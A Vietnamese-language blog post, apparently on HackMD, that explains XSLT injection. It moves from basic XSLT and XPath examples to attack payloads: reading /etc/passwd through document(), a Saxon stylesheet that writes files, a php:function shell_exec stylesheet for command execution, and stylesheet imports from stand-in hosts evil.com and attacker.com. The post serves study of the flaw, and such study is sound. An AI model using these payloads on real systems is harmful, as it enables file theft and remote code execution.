Try   HackMD

XML is more than XXE (XSLT injection)

Khi nhắc đến xml có phải chúng ta sẽ nghỉ ngay đến XXE. Tuy nhiên nếu cứ bám theo XXE ta đã bỏ qua một attack vector khác từ xml.

XSLT là gì ?

XSLT (eXtensible Stylesheet Language Transformations) là một stylesheet language có chức năng chính là chuyển đổi xml thành các định dạng khác để hiển thị.

Nếu HTML có CSS thì XML cũng có XSLT

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Thông thường XSLT sẽ chuyển đổi xml thành HTML để hiển thị một cách đẹp mắt và dễ dàng

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ví dụ:
example.xml:

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
  <cd>
    <title>Empire Burlesque</title>
    <artist>Bob Dylan</artist>
    <country>USA</country>
    <company>Columbia</company>
    <price>10.90</price>
    <year>1985</year>
  </cd>
  <cd>
    <title>Hide your heart</title>
    <artist>Bonnie Tyler</artist>
    <country>UK</country>
    <company>CBS Records</company>
    <price>9.90</price>
    <year>1988</year>
  </cd>
  ...
</catalogc>    

example.xsl

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html> 
<body>
  <h2>My CD Collection</h2>
  <table border="1">
    <tr bgcolor="#9acd32">
      <th style="text-align:left">Title</th>
      <th style="text-align:left">Artist</th>
    </tr>
    <xsl:for-each select="catalog/cd">
    <tr>
      <td><xsl:value-of select="title"/></td>
      <td><xsl:value-of select="artist"/></td>
    </tr>
    </xsl:for-each>
  </table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Kết quả khi sử dụng example.xsl lên example.xml:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Để có thể xử lý và render ra được kết quả như trên thì ta cần dùng XSLT processor, giống như để xử lý XML ta cần XML parser thì XSLT cũng vậy.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ở mỗi ngôn ngữ thì sử dụng XSLT processor khác nhau và cũng có những hành vi đặc trưng của riêng processor ấy

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Trong bài này thì em sẻ chủ yếu demo trên processor libxslt của PHP

XPath in XSLT

Để có thể truy vấn dữ liệu trong xml để chuyển sang format khác, XSLT sẽ sử dụng XPATH trong attribute select
Syntax:

<xsl:value-of select="<XPATH>">

Ví dụ:

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Ngoài ra XSLT còn defind thêm một số hàm XPath bổ sung


Link: https://developer.mozilla.org/en-US/docs/Web/XPath/Functions

Một số hàm được bổ sung thêm như sau:

Ví dụ sử dụng hàm system-property() để lấy thông tin của processor đang sử dụng

Vậy thì ta có thể lợi dụng được gì từ các hàm này không ?

document()

Ta để ý công dụng của hàm document


Nó có thể đi ra ngoài để lấy node-set về

Ví dụ:

Nội dung file external.txt;

<title>endy</title>

Kết quả:

hmmmmmm, vậy thì sẽ ra sao nếu ta gọi đến một file trong hệ thống?

Kết quả:

Ta đã leak được dòng đầu tiên của /etc/passwd

Không chỉ dừng lại ở đọc file, XSLT có thể làm được nhiều hơn thế

Namespace in XSLT

Ta xét file xml sau:

<?xml version='1.0' encoding='UTF-8’?>
<root> 
  …
  <!–- thông tin về bàn nội thất -->
  <table>
    <name>African Coffee Table</name>
    <width>80</width>
    <length>120</length>
  </table>
  …
  <!– HTML table --> 
  <table>
    <tr>
      <td>Apples</td>
      <td>Bananas</td>
    </tr>
  </table>
</root>

Có 2 tag là <table> dẫn đến xung đột về tên và rất khó để xslt xử lý.

Để giải quyết điều đó namespace được sinh ra
Ta dùng prefix để xác định 2 tag khác nhau.

Namespace URI chỉ đơn giản là một string unique dùng để đánh dấu một namespace, ví dụ ở trên thì h namespace ứng với http://www.w3.org/TR/html4f ứng với https://www.w3schools.com/furniture. URI không nhất thiết phải là một URL có thể truy cập, chỉ cần đơn giản là unique string URI là được

Tuy nhiên namespace trong XSLT không chỉ dừng lại ở đó.

Extension in XSLT

Ngoài tác dụng tránh xung đột tên thì namespace trong XSLT còn một chức năng khác, đó chính là cho phép ta khai báo extensions functions để sử dụng trong XSLT. Đôi khi các chức năng cơ bản mà xslt cung cấp là ko đủ, ko đáp ứng được nhu cầu. Do đó người ta sẽ code các extensions, để sử dụng các extensions đó trong xslt ta sẽ dùng namespace.

Ví dụ ở trên em dùng saxon extension để gọi hàm eval trong extension mà libxslt processor không hỗ trợ

Vậy thì có những nguy cơ tiềm ẩn nào nếu attacker có thể tự do khai báo extensions và sử dụng ?

Threat

Write file

Trong extension saxon, có tính năng có thể cho phép ta ghi file

Ví dụ
evil.xsl

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:sax="http://icl.com/saxon"
    extension-element-prefixes="sax">
    <xsl:template match="/">
        <sax:output href="endy" method="text">
            <xsl:value-of select="'endyyyyy...'"/>
        </sax:output>
    </xsl:template>
</xsl:stylesheet>

Khi thực thi thành công thì sẽ không trả về bất kỳ error message nào, nhưng file đã được ghi trên server

Tuy nhiên attack vector này chỉ hiệu quả trong những phiên bản PHP cũ (<= 5.4.0 ), để exploit được ở những bản PHP mới thì yêu cầu cofig setSecurityPrefs(XSL_SECPREF_NONE); được bật

RCE

XSLT còn cho phép ta gọi đến các PHP functions thông qua namespace. Vậy có nghĩa là nếu attacker gọi các hàm nhạy cảm như các hàm thực thi OS command thì sẽ rất nguy hiểm

Ví dụ:

<?xml version ="1.0" encoding="UTF-8"?>
  <xsl:stylesheet version="1.0"
      xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
      xmlns:php="http://php.net/xsl">
            
      <xsl:output method="html" />
      <xsl:template match="/">
          <xsl:value-of select="php:function('shell_exec', 'id')" />
      </xsl:template>
  </xsl:stylesheet>

Kết quả:

Vì ý thức được độ nguy hiểm của tính năng này nên libxslt của PHP mặc định sẽ tắt nó. Để bật lên ta sẽ dùng $processor->registerPHPFunctions();

Tuy nhiên trong các ngôn ngữ khác, cụ thể ở đây là Java, thì processor mặc định cho phép ta có thể thực thi được OS Command thông qua Xalan extensions, điều này sẽ cực kỳ nguy hiểm.

Others

XXE

Ta thậm chí có thể exploit XXE ngay bên trong XSLT, tuy nhiên ở libxslt của PHP thì payload chạy không được (còn ở Python và Pearl thì chạy được - em cũng ko hiểu sao)

XSS

Vì giá trị trả về từ Xpath expression sẽ được render thành HTML do đó hoàn toàn tìm ẩn nguy cơ bị XSS thông qua XSLT

Leak information

Thao khảo thêm: https://blog.tint0.com/2021/09/pinging-xmlsec.html

OOB:

XSLT cho phép include external XSL bằng các cách sau:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="http://evil.com/evil.xsl"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
      <xsl:import href="http://attacker.com/evil.xsl"/>
      <xsl:include href="http://attacker.com/evil.xsl"/>
</xsl:stylesheet>

Tuy nhiên em chưa tìm được cách khai thác được gì từ attack vector này -> further research

Case study:

https://blog.viettelcybersecurity.com/saml-show-stopper/

XSLT injection in CTF

https://hackmd.io/yl4wxLTxRnOMXD4wOoJ25A?view
https://www.aperikube.fr/docs/aperictf_2019/js_art/ -> ko có src :(((, nhưng có thể thao khảo xem cách dùng PHP functions trong XSLT là như thế nào.

tags: XXE

Refer:

https://www.w3.org/TR/xslt-30/
https://www.w3schools.com/xml/xsl_intro.asp
https://www.w3schools.com/xml/xpath_intro.asp
https://developer.mozilla.org/en-US/docs/Web/XPath/Functions
https://www.lenzconsulting.com/namespaces/#:~:text=Namespaces allow you,namespace URI.
https://docstore.mik.ua/orelly/xml/xslt/ch08_01.htm
https://phonexicum.github.io/infosec/xxe.html#attack-vectors
https://github.com/php/php-src/blob/master/ext/xsl/tests/bug54446_with_ini.phpt
https://bugs.php.net/bug.php?id=54446

https://blog.ankursundara.com/dicectf23-writeups/
https://www.aperikube.fr/docs/aperictf_2019/js_art/